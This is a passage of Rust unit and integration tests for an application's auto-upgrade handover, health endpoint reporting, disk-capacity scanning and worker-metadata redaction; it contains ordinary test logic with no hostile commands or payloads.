22385 assert_eq!(
22386 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22387 Trigger
22388 );
22389 cfg.mode = UpdateMode::Off;
22390 assert!(matches!(
22391 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22392 Skip(_)
22393 ));
22394 }
22395
22396 #[test]
22397 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22398 let home = TempDir::new().unwrap();
22399 let ui = idle_ui(&home);
22400 assert!(!ui.auto_upgrade_busy());
22401 let directory = home.path().join("workers/jobs/abcdef");
22402 std::fs::create_dir_all(&directory).unwrap();
22403 let mut job = crate::worker::Job {
22404 id: "abcdef".into(),
22405 sequence: 1,
22406 kind: "scheduler".into(),
22407 key: "scheduler".into(),
22408 payload: serde_json::json!({}),
22409 generation: "test".into(),
22410 version: None,
22411 status: crate::worker::Status::Running,
22412 result: None,
22413 pid: None,
22414 created_at: 0,
22415 finished_at: None,
22416 };
22417 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22418 let write = |job: &crate::worker::Job| {
22419 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22420 };
22421 write(&job);
22422 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22423 for kind in ["task", "chat"] {
22424 job.kind = kind.into();
22425 write(&job);
22426 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22427 }
22428 drop(lease);
22429 assert!(
22433 !ui.auto_upgrade_busy(),
22434 "completed execution permits updates"
22435 );
22436 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22437 assert!(
22438 ui.auto_upgrade_busy(),
22439 "unreadable worker state defers updates"
22440 );
22441 }
22442
22443 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22444 Box::pin(async { anyhow::bail!("test installer failed") })
22445 }
22446
22447 #[tokio::test]
22448 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22449 let home = TempDir::new().unwrap();
22450 std::fs::write(
22451 home.path().join("magi.toml"),
22452 "[update]\nauto_restart = true\n",
22453 )
22454 .unwrap();
22455 let mut ui = idle_ui(&home);
22456 ui.repo = home.path().to_path_buf();
22457 ui.upgrade_runner = fail_test_upgrade;
22459 let ui = Arc::new(ui);
22460 let latest = || {
22461 Some(kaishin::LatestRelease {
22462 tag_name: "v999.0.0".into(),
22463 html_url: String::new(),
22464 })
22465 };
22466 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22467 assert_eq!(
22468 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22469 .await
22470 .status(),
22471 StatusCode::NO_CONTENT
22472 );
22473 assert!(updater::read_progress(home.path()).is_none());
22474 ui.talk_turns.lock().unwrap().live.clear();
22475 let gate = ui.upgrade_gate.lock().await;
22476 assert_eq!(
22477 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22478 .await
22479 .status(),
22480 StatusCode::CONFLICT
22481 );
22482 drop(gate);
22483 assert_eq!(
22484 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22485 .await
22486 .status(),
22487 StatusCode::ACCEPTED
22488 );
22489 let progress = updater::read_progress(home.path()).unwrap();
22490 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22491 assert_eq!(progress.stage, updater::Stage::Downloading);
22492 assert!(progress.parked_run.is_none());
22493 assert!(ui.start_detached_loop().await.is_err());
22494 assert!(ui.start_loop(None).is_err());
22495 assert!(ui.begin_resume("late").is_err());
22496 tokio::time::timeout(Duration::from_secs(2), async {
22497 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22498 tokio::task::yield_now().await;
22499 }
22500 })
22501 .await
22502 .unwrap();
22503 let progress = updater::read_progress(home.path()).unwrap();
22504 assert_eq!(progress.stage, updater::Stage::Failed);
22505 assert_eq!(
22506 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22507 .await
22508 .status(),
22509 StatusCode::NO_CONTENT
22510 );
22511 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22513 assert_eq!(
22514 finish_upgrade_request(&ui, result).status(),
22515 StatusCode::ACCEPTED
22516 );
22517 assert_eq!(
22518 updater::read_progress(home.path()).unwrap().trigger,
22519 updater::UpgradeTrigger::Manual
22520 );
22521 tokio::time::timeout(Duration::from_secs(2), async {
22522 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22523 tokio::task::yield_now().await;
22524 }
22525 })
22526 .await
22527 .unwrap();
22528 }
22529
22530 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22531 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22532 p.stage = stage;
22533 p
22534 }
22535
22536 #[test]
22537 fn busy_stages_match_the_ui_set() {
22538 use crate::updater::Stage;
22539 assert!(APP_JS.contains(
22540 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22541 ));
22542 for s in [
22543 Stage::Downloading,
22544 Stage::Replaced,
22545 Stage::Parking,
22546 Stage::Restarting,
22547 ] {
22548 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22549 }
22550 for s in [Stage::Done, Stage::Failed] {
22551 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22552 }
22553 assert!(upgrade_in_motion(None).is_none());
22554 }
22555
22556 #[tokio::test]
22557 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22558 use crate::updater::Stage;
22559 for stage in [
22560 Stage::Downloading,
22561 Stage::Replaced,
22562 Stage::Parking,
22563 Stage::Restarting,
22564 ] {
22565 let fx = Fixture::start().await;
22566 let seeded = seeded_progress(stage);
22567 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22568 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22569 .expect("read");
22570
22571 let res = fx.post("/api/upgrade", None).await;
22572 assert_eq!(res.status, 409, "{stage:?}");
22573 let err = res.json()["error"].as_str().unwrap().to_owned();
22574 assert!(err.contains("already in progress"), "{err}");
22575 assert!(err.contains(stage.as_str()), "{err}");
22576
22577 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22578 .expect("read");
22579 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22580 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22581 .unwrap_or_default();
22582 assert!(!log.contains("signalling HANDOVER"), "{log}");
22583 }
22584 }
22585
22586 #[test]
22587 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22588 assert_eq!(
22589 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22590 Some(3723)
22591 );
22592 assert_eq!(
22593 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22594 Some(60)
22595 );
22596 assert_eq!(
22597 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22598 Some(0)
22599 );
22600 for message in [
22601 "permission denied",
22602 "GitHub API rate limit exceeded",
22603 "GitHub rate limit (resets in unknown)",
22604 "GitHub rate limit (resets in 18446744073709551615d)",
22605 ] {
22606 assert_eq!(upgrade_retry_after(message), None, "{message}");
22607 }
22608 }
22609
22610 #[tokio::test]
22611 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22612 let home = TempDir::new().unwrap();
22613 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22614 ui.start_loop(None).unwrap();
22615 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22616 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22617 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22618 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22619 let response = finish_upgrade_request(&ui, result);
22620 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22621 assert_eq!(response.headers()["retry-after"], "120");
22622 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22623 .await
22624 .unwrap();
22625 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22626 assert!(body["error"].as_str().unwrap().contains(reason));
22627 assert_eq!(body["retry_after_secs"], 120);
22628 assert!(body["retry_at"].as_u64().is_some());
22629 for _ in 0..2 {
22630 let view = health(State(ui.clone())).await.unwrap().0;
22631 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22632 assert_eq!(failure, body);
22633 }
22634 assert_eq!(
22635 std::fs::read(updater::progress_path(home.path())).unwrap(),
22636 before
22637 );
22638 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22639 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22640 let gate = ui.upgrade_gate.lock().await;
22642 assert_eq!(
22643 upgrade_post(State(ui.clone())).await.status(),
22644 StatusCode::CONFLICT
22645 );
22646 drop(gate);
22647 assert!(
22648 health(State(ui.clone()))
22649 .await
22650 .unwrap()
22651 .0
22652 .upgrade_request_error
22653 .is_some()
22654 );
22655 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22656 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22657 assert!(
22658 health(State(ui.clone()))
22659 .await
22660 .unwrap()
22661 .0
22662 .upgrade_request_error
22663 .is_none()
22664 );
22665 let live = ui.lock_loop().live.take().unwrap();
22666 live.stop.stop();
22667 live.handle.await.unwrap();
22668 }
22669
22670 #[tokio::test]
22671 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22672 use crate::updater::Stage;
22673 let repo = TempDir::new().expect("repo dir");
22674 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22675 .expect("write magi.toml");
22676 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22677 for stage in [Stage::Done, Stage::Failed] {
22678 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22679 let res = fx.post("/api/upgrade", None).await;
22680 assert_eq!(res.status, 200, "{stage:?}");
22681 }
22682 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22684 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22685 }
22686
22687 #[tokio::test]
22688 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22689 let repo = TempDir::new().expect("repo dir");
22705 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22706 .expect("write magi.toml");
22707 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22708
22709 let res = fx.post("/api/upgrade", None).await;
22715 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22716 let body = res.json();
22717 assert!(body["to"].is_null(), "there was no release to move to");
22718 assert!(body["parked"].is_null(), "and nothing was parked");
22719 assert!(
22720 body["detail"]
22721 .as_str()
22722 .unwrap()
22723 .contains("nothing restarted"),
22724 "{body:?}"
22725 );
22726 }
22727
22728 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22729 tokio::time::timeout(Duration::from_secs(5), async {
22730 while state.lock().unwrap().in_flight {
22731 tokio::task::yield_now().await;
22732 }
22733 })
22734 .await
22735 .expect("capacity scan finished");
22736 }
22737
22738 fn disk_test_scope(home: &FsPath) -> DiskScope {
22739 DiskScope {
22740 runs: home.join("runs"),
22741 worktrees: home.join("worktrees"),
22742 cache: Some(home.join("cache")),
22743 }
22744 }
22745
22746 fn known_disk_capacity() -> DiskCapacity {
22747 DiskCapacity {
22748 free_bytes: Some(100),
22749 runs_bytes: Some(200),
22750 worktrees_bytes: Some(300),
22751 cache_bytes: Some(400),
22752 }
22753 }
22754
22755 #[tokio::test]
22756 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22757 let home = TempDir::new().unwrap();
22758 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22759 let mut ui = delta_test_ui(home.path());
22760 let state = Arc::get_mut(&mut ui).unwrap();
22761 state.repo = home.path().to_owned();
22762 state.worktrees_root = home.path().join("worktrees");
22763 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22764 ui.monitor
22765 .worker_started
22766 .store(true, std::sync::atomic::Ordering::SeqCst);
22767 let cfg = deputy_config(&ui.repo);
22768 let scope = DiskScope::of(&ui, cfg.as_ref());
22769 let (started, reached) = tokio::sync::oneshot::channel();
22770 let (release, blocked) = std::sync::mpsc::channel();
22771 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22772 started.send(()).unwrap();
22773 blocked.recv().unwrap();
22774 known_disk_capacity()
22775 });
22776 assert!(cold.runs_bytes.is_none());
22777 tokio::time::timeout(Duration::from_secs(5), reached)
22778 .await
22779 .unwrap()
22780 .unwrap();
22781
22782 let requests: Vec<_> = (0..4)
22783 .map(|_| {
22784 let ui = ui.clone();
22785 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22786 })
22787 .collect();
22788 tokio::time::timeout(Duration::from_secs(5), async {
22789 for request in requests {
22790 let view = request.await.unwrap();
22791 let disk = serde_json::to_value(view.disk).unwrap();
22792 assert!(disk["runs_bytes"].is_null());
22793 assert!(disk["worktrees_bytes"].is_null());
22794 assert!(disk["free_bytes"].is_u64());
22797 }
22798 })
22799 .await
22800 .expect("health must return while the measurement is causally blocked");
22801 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22802 assert!(
22804 ui.monitor
22805 .disk
22806 .lock()
22807 .unwrap()
22808 .capacity
22809 .runs_bytes
22810 .is_none()
22811 );
22812 release.send(()).unwrap();
22813 wait_for_disk_scan(&ui.monitor.disk).await;
22814 assert_eq!(
22815 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22816 Some(200)
22817 );
22818 }
22819
22820 #[tokio::test]
22821 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22822 let home = TempDir::new().unwrap();
22823 let scope = disk_test_scope(home.path());
22824 let state = Arc::new(Mutex::new(DiskObservation {
22825 scope: Some(scope.clone()),
22826 capacity: known_disk_capacity(),
22827 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22828 ..Default::default()
22829 }));
22830 let (started, reached) = tokio::sync::oneshot::channel();
22831 let (release, blocked) = std::sync::mpsc::channel();
22832 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22833 started.send(()).unwrap();
22834 blocked.recv().unwrap();
22835 DiskCapacity {
22836 runs_bytes: Some(250),
22837 ..Default::default()
22838 }
22839 });
22840 assert_eq!(before.cache_bytes, Some(400));
22841 tokio::time::timeout(Duration::from_secs(5), reached)
22842 .await
22843 .unwrap()
22844 .unwrap();
22845 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22846 for _ in 0..4 {
22847 let scans = duplicate_scans.clone();
22848 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22849 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22850 DiskCapacity::default()
22851 });
22852 assert_eq!(during.runs_bytes, Some(200));
22853 assert_eq!(during.cache_bytes, Some(400));
22854 }
22855 release.send(()).unwrap();
22856 wait_for_disk_scan(&state).await;
22857 let scans = duplicate_scans.clone();
22858 let after = DiskObservation::observe(&state, scope, move |_| {
22859 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22860 DiskCapacity::default()
22861 });
22862 wait_for_disk_scan(&state).await;
22863 assert_eq!(after.runs_bytes, Some(250));
22864 assert_eq!(after.free_bytes, Some(100));
22865 assert_eq!(after.cache_bytes, Some(400));
22866 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22867 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22868 }
22869
22870 #[tokio::test]
22871 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22872 let home = TempDir::new().unwrap();
22873 let old_scope = disk_test_scope(home.path());
22874 let mut new_scope = old_scope.clone();
22875 new_scope.cache = Some(home.path().join("replacement-cache"));
22876 let state = Arc::new(Mutex::new(DiskObservation {
22877 scope: Some(old_scope.clone()),
22878 capacity: known_disk_capacity(),
22879 ..Default::default()
22880 }));
22881 let (started, reached) = tokio::sync::oneshot::channel();
22882 let (release, blocked) = std::sync::mpsc::channel();
22883 DiskObservation::observe(&state, old_scope, move |_| {
22884 started.send(()).unwrap();
22885 blocked.recv().unwrap();
22886 known_disk_capacity()
22887 });
22888 tokio::time::timeout(Duration::from_secs(5), reached)
22889 .await
22890 .unwrap()
22891 .unwrap();
22892 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22893 let scans = duplicate_scans.clone();
22894 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22895 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22896 DiskCapacity::default()
22897 });
22898 assert!(changed.cache_bytes.is_none());
22899 assert!(changed.runs_bytes.is_none());
22900 release.send(()).unwrap();
22901 wait_for_disk_scan(&state).await;
22902 {
22903 let observation = state.lock().unwrap();
22904 assert!(observation.capacity.cache_bytes.is_none());
22905 assert!(observation.finished.is_none());
22906 }
22907 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22908 assert_eq!(scope, &new_scope);
22909 DiskCapacity {
22910 cache_bytes: Some(999),
22911 ..Default::default()
22912 }
22913 });
22914 wait_for_disk_scan(&state).await;
22915 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22916 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22917 }
22918
22919 #[tokio::test]
22920 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22921 let home = TempDir::new().unwrap();
22922 let scope = disk_test_scope(home.path());
22923 let state = Arc::new(Mutex::new(DiskObservation {
22924 scope: Some(scope.clone()),
22925 capacity: known_disk_capacity(),
22926 ..Default::default()
22927 }));
22928 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22929 wait_for_disk_scan(&state).await;
22930 {
22931 let mut observation = state.lock().unwrap();
22932 assert_eq!(observation.capacity.cache_bytes, Some(400));
22933 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22934 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22935 }
22936 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22937 cache_bytes: Some(450),
22938 ..Default::default()
22939 });
22940 wait_for_disk_scan(&state).await;
22941 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22942 }
22943
22944 #[test]
22945 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22946 let home = TempDir::new().unwrap();
22947 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22948 assert_eq!(disk_capacity_size(home.path()), Some(0));
22949 std::fs::create_dir(home.path().join("nested")).unwrap();
22950 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22951 assert_eq!(disk_capacity_size(home.path()), Some(5));
22952 #[cfg(unix)]
22953 {
22954 assert_eq!(
22956 disk_capacity_size(&home.path().join("nested/data/child")),
22957 None
22958 );
22959 }
22960 #[cfg(unix)]
22961 {
22962 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22963 assert_eq!(disk_capacity_size(home.path()), Some(5));
22964 }
22965 }
22966
22967 #[tokio::test]
22968 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22969 let repo = TempDir::new().expect("repo dir");
22974 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22975 .expect("write magi.toml");
22976 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22977
22978 let health = fx.get("/api/health").await.json();
22979 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22980 assert_eq!(
22981 health["update"]["available"], false,
22982 "checking is off, which reads as \"unknown\", not \"none\""
22983 );
22984 assert!(health["update"]["to"].is_null());
22985 assert!(
22986 health["upgrade"].is_null(),
22987 "nothing has ever asked this deck to upgrade"
22988 );
22989 }
22990
22991 #[tokio::test]
22992 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22993 let fx = Fixture::start().await;
22994 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22995
22996 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22997 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22998 progress.advance(crate::updater::Stage::Parking);
22999 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23000
23001 let health = fx.get("/api/health").await.json();
23002 assert_eq!(health["upgrade"]["stage"], "parking");
23003 assert_eq!(health["upgrade"]["from"], "0.5.1");
23004 assert_eq!(health["upgrade"]["to"], "0.5.2");
23005 let waiting_on = health["upgrade"]["waiting_on"]
23006 .as_str()
23007 .expect("waiting_on is set while parking a known run");
23008 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23009 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23010 }
23011
23012 #[tokio::test]
23013 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23014 let fx = Fixture::start().await;
23015 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23016 progress.advance(crate::updater::Stage::Done);
23017 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23018
23019 let health = fx.get("/api/health").await.json();
23020 assert_eq!(health["upgrade"]["stage"], "done");
23021 assert!(
23022 health["upgrade"]["waiting_on"].is_null(),
23023 "nothing to wait on once it is done"
23024 );
23025 }
23026
23027 #[tokio::test]
23030 async fn the_handover_signal_wakes_one_waiter_once() {
23031 let signal = Notify::new();
23032 signal.notify_one();
23034 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23035 .await
23036 .expect("an early signal is still seen");
23037 assert!(
23039 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23040 .await
23041 .is_err(),
23042 "a consumed signal must not wake a second time"
23043 );
23044 let signal = std::sync::Arc::new(signal);
23046 let waiter = tokio::spawn({
23047 let signal = std::sync::Arc::clone(&signal);
23048 async move { wait_for_handover(&signal).await }
23049 });
23050 tokio::time::sleep(Duration::from_millis(20)).await;
23051 assert!(!waiter.is_finished(), "nothing was signalled yet");
23052 signal.notify_one();
23053 tokio::time::timeout(Duration::from_secs(5), waiter)
23054 .await
23055 .expect("a late signal wakes the waiter")
23056 .expect("join");
23057 }
23058
23059 #[tokio::test]
23060 async fn health_says_how_long_a_handover_has_been_stuck() {
23061 let fx = Fixture::start().await;
23062 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23063 progress.advance(crate::updater::Stage::Replaced);
23064 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23065 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23066
23067 let health = fx.get("/api/health").await.json();
23068 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23069 assert!(stuck >= 600, "{stuck}");
23070 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23071 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23072 }
23073
23074 #[tokio::test]
23075 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23076 let home = tempfile::tempdir().expect("temp home");
23077 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23078 progress.advance(crate::updater::Stage::Parking);
23079 crate::updater::write_progress(home.path(), &progress).expect("seed");
23080 let mut again = progress.clone();
23082 again.advance(crate::updater::Stage::Replaced);
23083 crate::updater::write_progress(home.path(), &again).expect("replaced");
23084 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23085 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23086 let after = crate::updater::read_progress(home.path()).expect("record");
23087 assert_eq!(after.stage, crate::updater::Stage::Parking);
23088 }
23089
23090 #[tokio::test]
23091 async fn health_does_not_call_a_live_parking_wait_stuck() {
23092 let fx = Fixture::start().await;
23093 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23094 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23095 progress.advance(crate::updater::Stage::Parking);
23096 let hours = Duration::from_secs(3 * 3600);
23097 progress.started_at = Timestamp::now() - hours;
23098 progress.updated_at = Timestamp::now() - hours;
23099 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23100 let _lease = crate::updater::LeaseGuard::enter(
23101 fx.home.path(),
23102 Some("20260905-000000-cd51".to_owned()),
23103 );
23104
23105 let health = fx.get("/api/health").await.json();
23106 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23107 assert!(health["upgrade"]["stuck_kind"].is_null());
23108 assert_eq!(health["upgrade"]["handover_alive"], true);
23109 let waiting_on = health["upgrade"]["waiting_on"]
23110 .as_str()
23111 .expect("waiting_on");
23112 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23113 }
23114
23115 fn idle_ui(home: &TempDir) -> Ui {
23116 let runs = home.path().join("runs");
23117 std::fs::create_dir_all(&runs).expect("runs dir");
23118 Ui::new(
23119 Queue::at(home.path().join("queue")),
23120 Questions::at(home.path().join("questions")),
23121 Talks::at(home.path().join("talks")),
23122 runs,
23123 home.path().to_path_buf(),
23124 PathBuf::from("/repo/magi"),
23125 )
23126 .with_launch(launch_idle)
23127 }
23128
23129 #[tokio::test]
23130 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23131 let home = TempDir::new().expect("temp home");
23132 let ui = idle_ui(&home);
23133 let lease = crate::worker::try_lease(home.path(), "scheduler")
23134 .expect("scheduler lease")
23135 .expect("free");
23136 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23137 .expect("request stop");
23138 let error = ui
23139 .start_detached_loop()
23140 .await
23141 .expect_err("transition is still live");
23142 assert_eq!(error.status, StatusCode::CONFLICT);
23143 assert!(error.message.contains("still running or stopping"));
23144 assert_eq!(
23145 crate::worker::control(home.path(), "scheduler").unwrap(),
23146 Some(crate::worker::Control::Stop)
23147 );
23148 drop(lease);
23149 }
23150
23151 #[tokio::test]
23152 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23153 let home = TempDir::new().expect("temp home");
23154 let ui = idle_ui(&home);
23155 let turns = ui
23156 .begin_talk_turn("active-chat")
23157 .expect("claim")
23158 .expect("free");
23159 let execution = crate::worker::try_lease(home.path(), "active-task")
23160 .expect("execution lease")
23161 .expect("free");
23162 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23163 .await
23164 .expect("bind loopback");
23165 let address = listener.local_addr().expect("address");
23166 let admissions = Arc::clone(&ui.admissions);
23167 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23168 let successor_started = std::sync::atomic::AtomicBool::new(false);
23169 tokio::time::timeout(
23170 Duration::from_secs(2),
23171 hand_over(home.path(), &admissions, served, || {
23172 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23173 Ok(1)
23174 }),
23175 )
23176 .await
23177 .expect("restart must not wait for execution")
23178 .expect("handover");
23179 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23180 let successor = bind_waiting(address)
23183 .await
23184 .expect("successor binds released address");
23185 assert_eq!(successor.local_addr().unwrap(), address);
23186 assert!(turns.owns(), "the chat lease survives restart");
23187 assert!(
23188 crate::worker::try_lease(home.path(), "active-task")
23189 .unwrap()
23190 .is_none()
23191 );
23192 drop(execution);
23193 drop(turns);
23194 }
23195
23196 #[tokio::test]
23197 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23198 let home = TempDir::new().expect("temp home");
23199 let ui = idle_ui(&home);
23200 let admission = ui.begin_admission().expect("admit send");
23201 let turn = ui
23202 .begin_talk_turn("active-chat")
23203 .expect("claim")
23204 .expect("free");
23205 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23206 .await
23207 .expect("bind loopback");
23208 let address = listener.local_addr().expect("address");
23209 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23210 let successor_called = std::sync::atomic::AtomicBool::new(false);
23211 let handover = hand_over(home.path(), &ui.admissions, served, || {
23212 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23213 Ok(1)
23214 });
23215 tokio::pin!(handover);
23216 std::future::poll_fn(|cx| {
23219 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23220 std::task::Poll::Ready(())
23221 })
23222 .await;
23223 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23224 assert!(
23225 ui.begin_admission().is_err(),
23226 "new ingress cannot race the drain"
23227 );
23228 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23229 drop(admission);
23230 tokio::time::timeout(Duration::from_secs(2), handover)
23231 .await
23232 .expect("only publication may delay restart")
23233 .expect("handover");
23234 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23235 assert!(
23236 turn.owns(),
23237 "the detached chat turn is not awaited or cancelled"
23238 );
23239 assert!(
23240 ui.begin_admission().is_err(),
23241 "old accepted connections stay closed"
23242 );
23243 drop(turn);
23244 }
23245
23246 #[test]
23247 fn health_worker_metadata_never_contains_payload_or_result() {
23248 let view = WorkerView::from(crate::worker::Job {
23249 id: "job".into(),
23250 sequence: 1,
23251 kind: "service".into(),
23252 key: "maintenance".into(),
23253 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23254 generation: "generation".into(),
23255 version: Some("1.2.3".into()),
23256 status: crate::worker::Status::Running,
23257 result: Some("private diagnostics".into()),
23258 pid: Some(4242),
23259 created_at: 1,
23260 finished_at: None,
23261 });
23262 let value = serde_json::to_value(view).expect("serialize public metadata");
